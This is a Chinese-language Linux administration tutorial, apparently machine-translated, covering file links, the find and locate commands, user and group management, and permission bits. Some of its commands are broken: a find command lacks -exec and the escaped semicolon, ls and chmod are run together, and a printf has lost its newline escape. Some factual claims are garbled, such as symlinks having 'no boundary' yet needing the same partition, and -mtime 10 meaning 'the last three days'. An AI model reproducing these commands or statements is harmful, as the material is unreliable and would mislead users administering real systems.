-![](img/9d56b799-e748-443f-99d6-ed806ae1302a.png) - -文件链接告诉我们在任何给定的文件或目录中有多少引用。默认情况下,每个普通文件都有一个链接,每个目录都有两个链接。有硬链接和软链接,我们稍后将讨论。 - -# 使用文件链接 - -在本节中,我们将了解什么是 Linux 文件链接以及如何使用它们。您可能已经知道,文件存储在硬盘上。在 Linux 文件系统中,文件的文件名和数据是两个独立的概念,不能一起存储。下图显示了总体结构: - -![](img/b8ee3da0-feea-4027-be6b-0d3a9cba07f9.png) - -将文件名连接到实际数据是由文件系统使用一个称为标题分配表的表或数据库数据结构来管理的。在 Linux 文件系统中,Inode 是硬盘上特定文件数据的实际入口点或起始点。为了简化,我们可以说 Inode 代表文件的实际数据。文件系统管理现在注意,每个正常文件在创建时,在其分配表中都有一个链接条目,用于将实际文件名连接到硬盘上的 Inode 或数据。这样的链接也叫**硬链接**。原始文件名到 Inode 的关系也是使用硬链接链接的,这就是为什么在最后一节中`ls -l`命令为权限旁边的列中的大多数文件给出了编号`1`。现在,Linux 文件系统很酷的一点是,您可以创建到现有 Inode 的额外硬链接,这就像给文件取一个替代名称一样。 - -硬链接的缺点之一是无法将硬链接与原始文件名或信息节点区分开。这可能会导致问题和副作用,因为如果您更改原始文件的内容,硬链接的内容也会随之更改。硬链接的另一个限制是,您只能为 Inodes 定义它们,Inodes 与硬链接位于同一分区。此外,您不能在目录上创建硬链接。您只能在普通文件上创建它们。要解决硬链接的这些限制,可以使用**软链接**,也称为符号链接。作为一名 Linux 系统管理员,在日常工作中,您几乎会一直使用这些类型的链接。硬链接也有其特殊的用例,例如,用于创建文件的备份,但是很少被 Linux 用户使用。 - -符号链接是指向文件名而不是索引节点的链接。符号链接也没有边界,即它们必须与原始文件在同一个分区或硬盘上。您也可以在目录上创建符号链接。主要缺点是,如果删除或移动原始文件,会出现符号链接断开的情况,没有进一步的警告,这也会产生一些不好的副作用。符号链接的主要用例和功能是引用 Linux 文件系统中的配置文件或动态库版本。使用链接可以节省大量磁盘空间,因为不必复制实际数据,而且它们对于快速测试服务的备用配置文件非常有效。 - -文件链接由`ln`命令管理。基本语法是`ln [OPTION]`,然后是要创建链接的文件名,最后是链接名。要在您的`home`目录中创建一个名为`fileX`的文件的硬链接,请使用以下代码: - -![](img/b405a283-2d42-4d1b-bcb5-60d5074e96d0.png) - -如您所见,无法区分附加硬链接和原始链接。您也可以在同一个文件上创建多个链接。要删除硬链接,请使用`rm`命令。每个文件系统上有最大数量的索引节点,或者我们可以简单地说文件,您可以使用`df -i`显示这些文件。如果您使用`mount`命令,您将看到用户的`tmp`文件系统与`home`目录位于不同的分区,后者又位于根分区,如下图所示: - -![](img/c09ea1e8-16e4-4157-823d-9592ea0ddb58.png) - -所以下一个命令`ln ~/folderABC ~/folderABC_link`会失败,因为不允许在分区之间创建硬链接。此外,您不能在目录上创建硬链接,更改文件内容的来源也会更改硬链接的文件内容。这会产生一些不好的副作用。要创建符号链接,请使用`ln -s`选项: - -![](img/efebda5f-f05f-4675-8195-fe6bf16637cf.png) - -如您所见,很容易显示一个文件是否是用箭头标记的符号链接。要在另一个目录中创建文件的符号链接,同时保留原始文件的名称,可以使用`ln -s /etc/passwd`。这在当前目录下以相同的名称`passwd`创建了/ `etc/passwd`文件的符号链接。要删除符号链接,使用`rm`命令;原始文件将不会被触摸。您也可以在目录上创建符号链接。如果删除符号链接指向的原始文件,也就是这里的`fileX`符号链接将会断开。这可能会有问题,这里用蓝色表示: - -![](img/35bdba9a-a00c-4743-b09f-2ddac711b66e.png) - -# 搜索文件 - -在本节中,我们将学习如何在 Linux 中搜索文件。`man find`命令,顾名思义,可以根据多种标准查找文件。但不仅如此,您甚至可以在程序执行期间对每个搜索结果应用操作,这是一个非常有用的功能。Find 可以采取一些选项来改变它的默认行为,例如,如何处理文件,这些文件是程序执行过程中的符号链接。前几个参数是开始搜索的目录或起始点的列表,所有其他参数都是搜索表达式或搜索条件。讨论什么是搜索表达式很重要。搜索表达式通常是一个测试和一个操作。测试通常由逻辑运算符分隔。如果没有给定运算符,则假定为结束运算符。如果表达式不包含用户的操作,那么将对搜索结果中的所有文件执行`print`操作。 - -在我们开始使用`man find command`之前,了解`man find`命令如何处理搜索结果是很重要的。对于搜索路径列表中的每个文件,所有表达式都是从左到右计算的。默认情况下,只有当所有表达式都正确时,`man find`命令才会将文件标记为命中。如果您喜欢使用`OR`表达式,您也可以更改这个逻辑结束行为,我们将在后面的一个示例中看到。`man find`命令允许您使用大量非常有用的文件测试表达式创建非常复杂的搜索查询。如果您在`man find`命令的手动页面中搜索`tests`,您将获得所有可用测试操作员的完整列表。例如,您可以搜索在过去特定时间修改或访问过的文件,或者具有特定大小的文件。如前所述,默认操作是对每个文件匹配的`print`操作。另一个非常有用的操作是`exec`表达式,它允许您为每个文件匹配执行一个特定的命令。`man find`命令是一个非常复杂的命令,我们无法在这里向您展示所有内容。因此,在本节的剩余部分,我们将向您展示一些非常有用的用例。您可以使用`find`命令,无需任何选项或参数。这与写入相同,因为没有任何选项和参数,搜索路径是当前目录,默认操作是`print`操作。这个命令遍历当前目录,递归打印出所有文件和目录,包括所有子目录和子目录下的文件。它这样做是因为您没有提供任何测试表达式,所以它将只匹配您当前目录中的任何文件或目录,并对其应用`print`操作。如前所述,`find`命令之所以如此强大,是因为它包含了大量不同的测试表达式,可以根据各种有用的条件来定位文件。这种文件搜索测试可以是任何可以想象的,例如时间戳、用户权限、用户、组、文件类型、日期、大小或任何其他可能的搜索标准。 - -对于以下示例,我们将使用在安装过程中设置的 root 用户帐户,因为在此处显示的示例中,我们在系统目录中搜索了很多,这些目录需要特殊权限。要为文件名`logrotate.conf`在`/etc`目录中只搜索文件而不搜索目录,请使用以下命令: - -```sh -find /etc -type f -name logrotate.conf -``` - -如果找到了文件,就不会遇到任何错误。这个命令在后台做的是遍历`/etc`目录,拾取`/etc`目录中包含的所有文件和子目录,并逐个递归处理。然后,对于每个文件,它检查该文件是否是实际文件,以及名称是否等于文件名。您也可以使用多个目录作为搜索起点,也可以使用`-type d`仅搜索目录,这将打印出所有以`/etc`和`/var`目录开头并以字母`y`开头的子目录名称: - -![](img/1be45990-ff19-4f1e-b07a-8571163036bc.png) - -这里,名称表达式采用普通的 POSIX 5 globbing 字符,而不是正则表达式。如果要使用正则表达式进行文件搜索,请使用`-regex`表达式。请注意,如果使用`-iname`表达式,它将搜索不区分大小写。您也可以使用文件大小作为标准来搜索文件: - -![](img/94378bbd-41cb-4999-8117-71cebab507ac.png) - -`find / -type f -size +4M -name 'l*'`搜索所有等于或大于 4 MB 的文件,从名称`l`开始,只搜索文件,不搜索从`root`目录开始的目录,这意味着它将递归搜索整个文件系统树。如您所见,只有两个文件符合所有这些条件。顺便说一下,`+`代表更大或相等,如果你使用一个`-`符号,它代表小于。您还可以搜索特定的文件权限。文件权限一般将在后面的章节中讨论。要获得在整个文件系统中搜索的每个人都具有读、写、执行权限的所有非常危险的目录的列表,我们使用以下命令: - -```sh -find / -type d -perm 777 -``` - -请注意,如果用户没有为`find`命令本身提供任何操作,则默认为`print`操作,因此该命令会将每个匹配的文件打印到`stdout`命令行。我们可以使用`-exec`动作表达式来改变这一点,它将对每个匹配的文件在`-exec`表达式之后应用一个命令: - -```sh -find / -type d -perm 777 chmod 755 {} ; -``` - -在我们的示例中,`chmod 755`命令将使用占位符`{}`应用于每个匹配的文件,该占位符代表匹配。这里的`find`命令将搜索所有具有非常危险的文件权限的文件,`777`,并将其更改回更温和的权限,`755`。所以如果我们再次搜索危险许可,结果将是空的。为什么我们要逃避分号?这是因为通常 Bash shell 中的分号分隔命令,所以我们必须在这里禁用它的特殊含义。在目前显示的所有示例中,单个`find`命令的所有测试和表达式必须为真,文件才能算作匹配。 - -例如命令`find / -type f -size +4M -name 'l*'`如果文件是文件类型,并且大小为`4` MB 或更大,并且名称以`l`开头,则仅匹配并打印出文件。这三个测试表达式都必须是`true`,并通过逻辑“与”连接。默认情况下,逻辑“与”运算符连接所有测试表达式,这意味着只有当所有测试表达式都为真时,文件才能匹配为命中。您可以使用`-or`表达式轻松地将逻辑“与”转换为逻辑“或”,例如: - -```sh -find / -type f -name p*.conf -or -name 'p*.d' -``` - -这将匹配所有以`p`开头并在`/etc`目录中具有扩展名`conf`或`.d`的文件,并具有类型文件。还有一些非常有用的基于文件时间的测试表达式。例如,`find /var -mtime 10` | head 将输出最近三天内修改过的所有文件,只输出最近三天或更长时间前的第一次`10`点击。使用基于时间的测试表达式非常有用,作为系统管理员,在日常工作中经常需要用到。例如,如果您需要删除服务器上运行的 web 应用的用户上传的所有早于`30`天的文件,您可以执行以下操作: - -```sh -find /var/www/webapp-uploads -mtime +30 -exec rm {} ; -``` - -这个命令也可以很容易地放入每天运行的脚本中,比如在`Cron`作业中,以自动删除所有早于`30`天的文件,因此您不必再手动处理这个问题。要搜索整个文件系统中的所有文件,这些文件以`l`和`r`开头,大小在 1 到 4 MB 之间,请使用: - -```sh -find / -type f -size +1M -size -4M -name 'l*' -``` - -您也可以使用`locate`命令快速搜索文件,而不是使用查找。首先需要使用`package`和`locate`进行安装。`locate`命令不在文件系统中进行实时搜索,而是使用特定时间点的文件系统快照。该数据库每天都会在某个时间点更新,但您也可以使用以下方法自行重新生成快照数据库: - -```sh -updatedb -``` - -现在如果你使用`locate`命令,它将在你刚刚生成的数据库中搜索所有匹配名称`logrotate`的文件。这将只搜索文字文本。如果要用于正则表达式,请使用`--regex`选项。 - -当我们搜索数据库时,这通常比使用`find`命令进行实时搜索更快,但请始终记住这不是当前文件系统的实时状态。因此,您可能会遇到问题,尤其是在搜索比搜索数据库更新的文件时。 - -# 与用户和组一起工作 - -在本节中,我们将学习如何创建和删除用户和组,以及如何向用户添加组。此外,我们将看到 Linux 如何在内部存储用户信息和密码,以及如何以编程方式检索用户信息。最后,我们将学习如何在登录时替换用户帐户。Linux 是一个多用户系统,这意味着多个用户可以同时使用该系统。因此,需要一个系统来保证对 Linux 对象(如文件)的通用访问,使用过度保护措施。例如,一个用户创建的所有文件都不应该被另一个用户删除。每个 Linux 用户都由一个唯一的用户标识来定义和识别,因为人类可以更容易地使用名称而不是数字。还存在一个连接到每个用户标识的文字用户名,但是当管理对文件等 Linux 对象的控制时,Linux 内部使用**用户标识** ( **UID** )号。有两种类型的用户帐户,需要密码进行身份验证的登录用户和非登录用户,这对于将用户标识附加到正在运行的程序或进程非常有用,我们将在后面看到。每个 Linux 系统上都有一个特殊的帐户,根用户帐户,或者管理员帐户,我们在安装过程中为其设置了密码。每个系统上的这个帐户都有访问权限,并且是所有对象的所有者,例如 Linux 系统中呈现的文件,并且这个帐户可以对系统做任何事情。如果在 Linux 中我们有用户名来控制对文件的访问,那么授予或撤销权限将是非常有限和耗时的。因此,Linux 也有组的概念来进行访问控制。通过将共享资源的权限分配给组,而不是单个用户,使用组可以极大地简化权限管理。向组分配权限会向该组的所有成员分配对资源的相同访问权限。Linux 组也由组标识来表示,组标识是一个数字,但也可以通过其名称,即组名来引用。Linux 中的每个用户只有一个 UID,但可以属于多个组或组 ID。一个组是主组,当该用户创建新文件时将使用该组。 - -让我们从为我们的测试创建一些新的用户帐户开始。只有`root`可以做到这一点。首先,让我们以 root 用户身份登录。`useradd`命令用给定的用户名作为参数添加一个新用户。该命令在系统中创建新用户,并创建相应的主目录。为了使我们的新登录帐户正常工作,我们还需要设置密码;我们可以通过`passwd`命令做到这一点。您也可以使用此命令更改自己的密码。要为其他用户设置或更改密码,我们键入`passwd ``username`-这只能使用根用户帐户完成。要删除用户,请使用`userdel`命令。默认情况下`userdel`命令不会删除用户的`home`目录,所以你要自己做。要删除用户,最好使用`userdel -r`标志,这样不仅会删除用户,还会删除关联的`home`目录和邮箱。让我们重新创建用户。让我们注销根用户。您可以在登录时使用`su`命令或替代用户命令来切换用户。当您在没有任何参数的情况下调用`su`命令时,假设根用户被切换。要将替代用户切换到不同的用户,可以使用用户名作为第一个参数。您可以使用`whoami`命令重新检查谁登录了。使用`su`命令,将保留已执行`su`命令的用户的原始环境,不会切换到替代用户账户的家庭用户。 - -现在,让我们退出替代用户并切换到另一个用户。使用带有破折号的`su`命令作为参数,我们创建了一个更像登录 Shell 的环境,这意味着它的行为更像一个真正登录 Shell 的用户。通过执行`pwd`,您可以看到`home`目录已经更改为替代用户的`home`目录。现在,再次退出替代用户。您也可以使用`su -c`标志直接使用另一个用户帐户执行单个命令;`su`用户名`-c`。如果您希望使用不同的用户帐户快速启动脚本或命令,而不完全切换用户,这将非常有用。 - -Only the root user is allowed to substitute users using the `su` command without providing a password. Any other user who wants to use the `su` command needs to know the password of the substituted user. - -`useradd`和`passwd`命令正在对`etc/passwd`和`etc/shadow`文件进行更改,这是整个 Linux 系统中存储身份验证和用户信息的最重要的文件。`passwd`文件存储了系统已知的所有用户帐户、所有登录用户和所有系统用户的列表。登录用户是典型的自然人,他们可以使用密码登录到一个 Shell(如 Bash Shell)进行身份验证。系统用户通常无法登录 Shell,并且通常与系统服务和进程相关联。 - -例如,要获得 Linux 系统中所有可用用户名的列表,请使用: - -```sh -awk -F: '{print $1}' /etc/passwd -``` - -`passwd`文件存储了很多有用的信息,比如用户的`home`目录、默认 shell 或者用户 ID 号。更多信息请参考`passwd`命令的手册页。`/etc/shadow`文件以加密格式包含所有用户的所有密码信息。您需要根用户帐户才能查看此文件。要创建新组,请使用`groupadd`命令;要删除组,请使用`groupdel`命令。`groupadd`和`groupdel`命令在内部使用`/etc/group`文件。该文件向您显示系统中所有可用的组以及与这些组相关联的所有用户标识。您也可以使用`id`命令,而不是读取`/etc/group`或`/etc/passwd`文件来获取用户信息。这将告诉您用户标识、组标识以及用户拥有的所有关联组。要向用户添加现有组,可以使用`usermod -G`命令。`-G`覆盖用户拥有的所有次要组,保持主要组不变。您还可以定义要添加到用户名中的逗号分隔的组名列表。重要的是要记住`-G`总是覆盖用户现有的组名。 - -现在,让我们检查`permission string`,它根据文件所有者、组所有者或任何其他用户是谁来指定允许或不允许他做什么: - -![](img/d1323c58-f325-4612-b11a-40cd1103020b.png) - -`-l`输出第三列的文件所有者。这里是`root`,这个文件是`olip`。在第四列中,`ls -l`输出文件的组所有者。还有,这里是`root`,这里是`olip`。您已经知道`ls -l`输出的第一个字符是文件类型。现在,后面的 9 位`l`和`d`定义了文件的权限字符串。权限字符串的前三个字符定义了文件所有者的权限。权限字符串的后三位定义了组所有者的权限。权限字符串的最后三位定义了所有其他用户的权限。在本例中,`folderABC`有文件所有者`olip`,组所有者`olip`。此外,文件所有者`olip`对目录拥有完全权限,组所有者`olip`对目录拥有完全权限,所有其他用户对该目录拥有读取和执行权限。 - -请执行以下步骤: - -1. 首先,让我们创建一个目录。我们将放入一些要使用的文件,然后切换到目录: - -![](img/322825a2-110b-4558-a1a9-bd7df470bf33.png) - -2. 现在,让我们创建一些文件来玩。 -3. 让我们看看刚刚创建的文件的文件权限。 -4. 正如您在前面的截图中看到的,根用户已经创建了所有这些文件。因此,所有文件的文件所有权和组所有权都是`root`。 -5. 现在,要更改文件所有权和组所有权信息,可以使用`chown`或`chgrp`命令。 -6. 除了使用`chgrp`命令,您也可以使用不同的符号使用`chown`命令。 -7. 例如,要更改文件的组,您可以修改文件所有者和组所有权。 -8. 让我们也创建一些子文件夹来测试目录权限。 -9. 把一些文件也放进这些文件夹。 -10. 接下来,让我们使用一些非常危险的`test`目录,这样每个人都能够在我们的测试中正确地处理文件。这不是为了生产。 -11. 接下来,为我们的文件创建一些通用权限。 -12. 创建一些不寻常的权限,也为目录测试创建一些权限。 -13. 更改文件的某些文件所有权权限和目录的组所有权权限。 - -现在,让我们使用新文件并更改权限。让我们首先回顾一下`ls -l`命令的输出: - -![](img/89a45fbe-4360-4d1a-9546-ae79655018b2.png) - -文件一是对任何人都具有完全读、写和执行权限的文件。例如,系统已知的任何用户都可以修改该文件。下一个文件拥有每个文件在 CentOS 7 机器上创建时获得的标准权限。文件所有者拥有读写权限,而组和所有其他用户只有读取权限。让我们看看如果不同的用户想要修改文件,这意味着什么: - -![](img/15ca13bd-6901-464a-a826-322091874ed1.png) - -在这里我们可以看到一些有趣的事情。`root`用户拥有对任何文件的读、写和执行权限,不管在`root`用户的权限字符串中设置了什么。`Peter`是文件的主人,所以他可以给这个文件写信。`Paul`既不是文件所有者,也不是组所有者,所以他根本没有写权限。下一个文件具有通常用于机密文件(如密码文件)的权限。对于运行文件系统用户帐户的服务来说,这通常是为了防止其他人读取凭据: - -![](img/54105fbf-0f46-41c6-84cd-95a6cf81d6d8.png) - -在这个例子中,只有`root`用户有能力读取文件,没有其他人。如果不仅文件所有者,而且拥有该文件所属组的组成员都应该完全控制该文件,则使用下一个文件的公共权限集。如您所见,`Peter`和`Paul`无权写入此文件,因为他们既不是文件所有者,也不是组所有者。要改变这种情况,让我们将`Peter`添加到拥有该文件的组中,然后再次测试: - -![](img/f5e58430-c579-4a7b-a32b-38791ef28882.png) - -现在,`file5`有一些不寻常的权限,是有效的。`file5`是一个脚本文件,打印出来的东西。如您所见,只有`root`用户可以执行该文件。要让`Peter`执行脚本,请将与之关联的一个组添加到文件中。这仍然不起作用,因为现在`Peter`可以执行这个文件,但是不能读取它。要更改这一点,还需要为文件的组所有权添加读取权限。现在,`Peter`终于可以运行脚本了: - -![](img/c12d9566-17a9-45a4-ad6b-c546448c45c0.png) - -最后,一个常见的误解是,要删除一个文件,您需要为用户正确设置文件的写权限标志,但正如我们所看到的,这是不正确的。为什么`Peter`不能删除这个文件,尽管我们已经为这里的每个人分配了完全权限?这是因为文件删除完全取决于您要删除的文件所在目录的写权限,而不取决于任何文件权限。以下截图是用户`Peter`被拒绝删除文件的情况: - -![](img/3f4d9349-d4fb-4101-8566-171c1c673dc0.png) - -最后,让我们讨论目录权限。下面的截图就是一个例子: - -![](img/57e6ce49-71ac-46a5-bc88-fbccfed423b3.png) - -`folderA`拥有文件所有者的读取权限,所以他是唯一一个能够看到文件夹中的内容但不能更改到目录中的人。`folderB`对组所有者只有读取权限,这意味着只有`projectA`组的成员可以更改到该目录,但是`Peter`除了使用`cd`命令进入该文件夹之外,不能在该文件夹中执行任何操作: - -![](img/1f32ce42-c0f1-4e3a-848e-f2fca00ca2f4.png) - -为了列出此目录中的文件,让我们将读取权限排序给组所有者: - -![](img/51269d51-81b5-48f1-aab1-31f17633966b.png) - -如前所述,我们需要在目录上启用`write`标志,以便在其中创建或删除新文件。但是为什么这里不行?这是因为我们还需要对目录启用执行权限,这很有意义,因为为了在目录中创建或删除文件,我们需要能够访问该目录。如果我们想更改许多文件的权限,例如整个子目录树,我们可以做什么?使用`ls -lR`标志,我们可以列出包含的所有子目录和文件。现在,要更改子目录中所有文件的权限字符串,可以使用`chmod -R`标志: - -```sh -ls -lRchmod 775 -R ../test_files -``` - -像往常一样,小心递归标志,因为您可以轻松地将整个文件系统的文件权限更改为不可逆的不安全权限。 - -# 使用文件权限 - -在本节中,我们将学习 Linux 中文件访问控制的概念。我们还将学习和理解如何读取文件权限。最后,我们将学习如何更改文件所有权以及文件权限,并向您展示实用的文件权限示例。如果您使用`ls -l`打印出文件的详细信息,您将看到一个不同的重要文件属性列表,我们需要了解这些属性,以便了解文件权限。典型的`ls -l`输出看起来像`-lrwxr-xr-x olip administrator my-awsome-file.txt.`系统中的每个文件都与一个用户名相关联,该用户名也被称为文件所有者。 - -每个文件也只与一个组名相关联,该组名也被称为组所有者。文件的文件所有权只能由根用户更改。文件所有者也可以更改组所有权。当用户创建新文件或目录时,文件的所有权将被设置为创建该文件的用户的 UID。我们已经知道一个用户可以属于多个组,但是需要将一个组设置为主组。这就是为什么创建的每个新用户都有一个与用户名同名的组。现在,每个想要访问文件的 Linux 用户都可以归入这些组中的一个。如果用户标识与我们要访问其文件的文件所有者的标识匹配,则用户就是文件所有者。如果用户关联的某个组与他想要访问的文件的组所有者匹配,则该用户就是组所有者。如果用户不是文件或组的所有者,则属于其他用户类别。这三个权限类别也称为权限组。最后,所有这些权限组,即文件所有者、组所有者和其他组,都恰好有三种权限类型:读取、写入和执行。这些权限类型管理属于这些组之一的用户可以或不能对文件执行的实际操作。 - -现在,由于我们正在处理每个文件的许多不同信息,用户所有者、组所有者、权限类别和权限类型,一些 Linux 命令,如`ls`命令,使用非常紧凑的形式进行查看,它使用 9 位来完全映射所有权限组的所有权限。这 9 位信息也称为权限字符串。如果许可被授予读/写/执行,或者`rwx`标志被置于字符串中的固定许可。如果权限被撤销,可以在字符串中的特定位置找到破折号。权限字符串中从左到右,前三位是文件所有者的读/写/执行权限。接下来的三位用于组所有者,最后三位用于所有其他用户。9 位权限字符串是一种非常密集的符号,适合屏幕,并且来自计算机硬件中空间和内存非常昂贵的时代。对权限类型或 9 位权限字符串的更改只能由根用户设置或删除。文件和目录的读、写和执行权限定义不同。 - -让我们首先讨论在文件上下文中读、写和执行意味着什么。如果在文件上设置了`r`或“读取”标志,则相应的权限类别、文件所有者、组所有者或其他用户可以打开文件并读取其内容。`w`或写标志是修改或截断现有文件,但知道写标志不允许创建新文件或删除现有文件是一个常见的误解和重要事实。这不是文件的属性,而是父目录的属性,我们很快就会看到。`x`或执行标志允许执行文件。这对于在命令行上运行脚本文件或命令非常重要。 - -In order to execute a file to run it as a script or command, the read flag needs to also be set because the shell needs to read the content of a file in order to execute its instructions. In a directory context, read, write, and execute permissions mean something completely different than working on files, which every Linux user must be aware of. - -让我们首先从`x`或执行权限开始,因为这是文件夹最基本的权限。`x`或者说执行,目录上下文中的权限与文件上下文中的权限完全不同。如果在文件夹上设置了执行标志,这意味着允许相应的用户组或其他人将该目录或路径输入目录,例如,使用`cd`命令。但是`x`标志不仅对`cd`命令很重要,如果您需要使用写标志重命名、删除或创建新文件,它也是强制性的。这里也必须设置执行标志。如果需要使用写标志重命名、删除或创建新文件,这也是必需的。根据经验,如果您需要在文件夹上设置一些标准权限,请不要错过您要使用的权限组的执行权限,否则您将遇到问题,因为如果您想要执行一些操作,您总是需要更改到目录中。`r`或“读取”是读取目录内容的权限,例如,使用`ls`命令。 - -`w`或写标志在目录中创建新文件或删除现有文件。正如我们之前看到的,删除或创建新文件不是文件权限的属性,而是您想要创建或删除的文件所在的目录权限的属性,因此如果您想要能够在其中创建或删除文件,必须设置写标志。为了使用写标志来创建、删除或移除文件,我们还需要为诸如`touch`或`rm`之类的命令设置执行标志,因为它们需要访问目录才能执行操作。 - -现在,操作系统正在根据尝试访问是否合法来检查每个想要对文件或目录执行操作(即读、写或执行)的实际用户。这是一个分层的过程。正在进行的第一项检查是希望处理文件的用户的用户标识是否与文件的用户所有者匹配。如果不是这种情况,如果用户的组标识与文件的组所有权匹配,则会检查所有用户的组标识。如果根本没有用户组匹配,则假定另一个用户将被使用。现在,系统中的每个用户都匹配这三个权限类别中的一个。如果找到了正确的类别,将检查相应的三种权限类型,读、写和执行,以查看它们是否被允许,以及它们是否与用户尝试的读、写或执行操作相匹配。 - -最好使用基于八进制计数的快捷方法来更改 9 位权限字符串中的值。请注意,还有另一种使用短选项的符号,如`-`、`+`、`r`、`w`和`e`,我们将在本节中不再讨论。可以使用`man chmod`进行查找。使用`0`和`7`之间的数字,这是八种不同的状态,因此可以称为八进制表示法,我们可以为每个权限类别、用户所有者、组所有者或其他用户唯一地定义读、写和执行的每种可能的组合。 - -以下是`chmod`八进制符号: - -* `0`:使用`0`,不允许有读、写、执行权限 -* `1`:表示仅执行权限 -* `2`:表示只有写权限 -* `4`:表示只读权限 -* `3`:表示执行和写入权限的组合 -* `5`:表示只执行和只读取注释的组合 -* `6`:表示写权限和只读权限的组合 -* `7`:表示完全权限或读、写、执行权限 - -因此,我们只需使用三个数字,就可以轻松地表达所有三个权限类别的权限类型。第一个数字表示文件的用户所有者的读、写和执行权限。第二个数字代表组所有者的所有文件权限,第三个数字代表系统中所有其他用户可用的所有读、写和执行权限。例如,八进制权限`777`意味着系统中所有可用用户的读、写和执行权限。`775`权限是指文件的用户所有者的读、写和执行权限,文件的组所有者的读、写和执行权限,以及系统中所有其他用户的读和执行权限。`660`权限是指文件的用户所有者的读写权限,文件的组所有者的读/写权限,对系统中的所有其他用户没有任何权限,这意味着他们不能读、写或执行该文件。 - -由于我们在上一节中创建了一些新用户、`Peter`和`Paul`以及关联的组`project_a`和`project_b`,现在让我们使用实际的文件权限进行工作和实验: - -1. 当我们在本章第一次以 root 用户身份登录时,正在处理权限问题。 -2. 现在,让我们首先创建一个目录,放入一些要使用的文件: - -```sh -mkdir test_files -``` - -3. 然后切换到这个目录: - -```sh -cd test_files -``` - -4. 现在,让我们创建一些文件来玩: - -```sh -touch file1 -touch file2 -echo "my_secret_pa$$worD" > file3 -touch file4 -printf '#!/bin/bashnecho "EXEC"' > file5 -``` - -5. 我们来看看使用`ls-l`的文件权限。 - -我们现在知道,每个文件都有一个文件所有者,这可以在第三列的`ls -l`输出中看到。每个文件的第四列都有一个组所有者。`ls -l`输出的第一个字符是文件类型,后面是 9 位权限字符串。 - -首先,让我们学习如何更改文件的用户所有者。您可以使用`chown`命令更改文件的用户所有者。您可以使用`chgrp`命令来更改文件的用户组。让我们再次使用`ls -l`来看看发生了什么变化: - -![](img/baf697f8-c90b-434b-ae88-2fc7d42e0850.png) - -如您所见,`file1`和`file3`已经更改了用户所有者,`file4`有了新的组所有者。除了使用`chgrp`命令,还有一种定义文件组成员的替代方法,系统管理员经常使用。它有以下符号: - -```sh -chown [username]:[groupname] [file] -``` - -这使用冒号来指定文件的用户所有者或组所有者。例如,要仅更改文件的组所有者,请使用: - -```sh -chown :project_b file 4 -``` - -或者更改用户名和组用途: - -```sh -chgrp project_a file 4 -``` - -让我们也创建一些子文件夹,以便稍后测试目录权限。把一些文件放在我们新创建的子文件夹中。接下来,让我们对`test`目录使用一些非常危险的权限,这样每个人都能够在我们的测试中正确地处理文件。这不是为了生产。 - -如前所述,我们将使用`chmod`八进制表示法来更改 9 位权限字符串文件权限。接下来,让我们为新的测试文件创建一些通用权限。还有,为了展示东西,创建一些不寻常的权限。此外,更改我们测试目录的权限: - -![](img/03ed74fc-1212-4fc1-9f4b-f0249bb081ba.png) - -最后,为了准备我们的测试,我们还需要更改一些目录上的一些用户所有权权限和组所有权权限。现在,让我们玩玩我们的新文件和文件夹的权限。`file1`是一个文件,对任何人都有完全的读、写、执行权限。这是一个非常危险的权限,在任何情况下都不建议使用,因为任何人都可以修改此文件: - -![](img/125881e6-8deb-4243-847b-ec5c86a4bcc1.png) - -如您所见,`peter`和`paul`可以修改该文件并对其拥有完全访问权限。下一个`file1`、`file2`,拥有权限,拥有每个文件在创建时获得的标准权限。文件所有者可以读写,组和所有其他用户只能读取和执行,不能修改。 - -让我们看看如果不同的用户试图写入这个文件会发生什么: - -![](img/af16701b-2ede-47f0-935e-e857fc9139dc.png) - -如您所见,只有文件所有者可以写入此文件;所有其他用户都没有写权限。下一个文件具有通常用于保护机密数据(如密码文件)的权限。 - -![](img/772a7ffe-bdbc-454b-97f3-a2cabbcd63e7.png) - -如您所见,只有文件所有者可以读取文件,其他任何人都不能对文件执行任何其他操作。文件所有者为`paul`。如果你试图用不同的用户名来读取这个文件,你会学到两件事。首先,不管对文件设置了何种权限,根用户始终拥有对文件的完全访问权限。第二,除了根用户,无论如何他对一个文件有完全的访问权,在这个例子中只有`paul`,他有读访问权,可以读这个文件,而没有其他人。 - -下一个文件使用了公共权限集。不仅文件所有者,而且文件唯一组的成员都应该完全控制文件: - -![](img/1534fe40-c894-44a8-b86b-8173b62ab4aa.png) - -如您所见,`olip`和`peter`都对该文件具有写访问权限,`paul`无权访问该文件。`olip`拥有文件的写权限,因为他是文件所有者。`peter`可以访问文件,因为组所有者也可以访问文件,彼得是`project_a`组的成员,也是文件的组所有者组的成员。 - -现在,`file5`有一些不寻常的权限,是有效的。`file5`是一个脚本文件,它打印出一些东西: - -![](img/876d52d0-cc77-40b9-a266-c714ca34c026.png) - -正如我们所看到的,只有根用户有权限执行这个文件。要执行一个脚本,我们将使用`./`符号,我们将在后面的另一节中看到。为了使`peter`可以执行脚本,我们可以将`project_a`组添加到`file5`中,因为我们知道`peter`是该组的成员。但是等等,为什么当`peter`是`project_a`组的成员并且`project_a`有权限执行脚本的时候,我们会出现权限被拒绝的错误?这是因为为了让 shell 运行脚本,它还需要访问权限来读取脚本文件的内容。因此,让我们更改文件的权限,以包括读取标志。现在,用户`peter`可以执行脚本了。对于`root`用户,不需要设置读取权限,因为`root`用户拥有每个文件的所有权限,不管权限字符串中说了什么。 - -最后,一个常见的误解是,为了删除文件,您需要为想要删除文件的用户正确设置文件的写权限标志,但事实并非如此: - -![](img/b1c5895b-d3fa-4274-9411-95e7ec5abcd8.png) - -如果这是真的,为什么彼得不能删除这个文件,因为我们给这里的每个人都分配了完全权限?这是因为文件删除完全依赖于您想要删除的文件所在目录的写权限,而从来不依赖于任何文件权限。所以,在这个例子中,我们要删除的文件在`root`目录下,这个目录对用户 Peter 完全没有写权限。所以彼得不能删除或创建`/root`目录中的任何文件。 - -最后,让我们讨论目录权限。让我们首先回顾一下测试文件夹的目录权限。为此,让我们切换到`test`文件夹的目录。我们先测试一下`folderA`的权限: - -![](img/550e69f2-8b8c-4eac-8d91-5ad3b3163622.png) - -如您所见,`folderA`只有文件所有者的读取权限,所以只有 Peter 能够读取`folderA`中的所有文件和子文件夹;没有其他人能做到这一点。您还可以看到,因为目录上没有设置执行标志;没有人能进入这个目录。 - -现在,让我们来看看`folderB`: - -![](img/a4588cbc-c587-4585-92eb-22d5f587855a.png) - 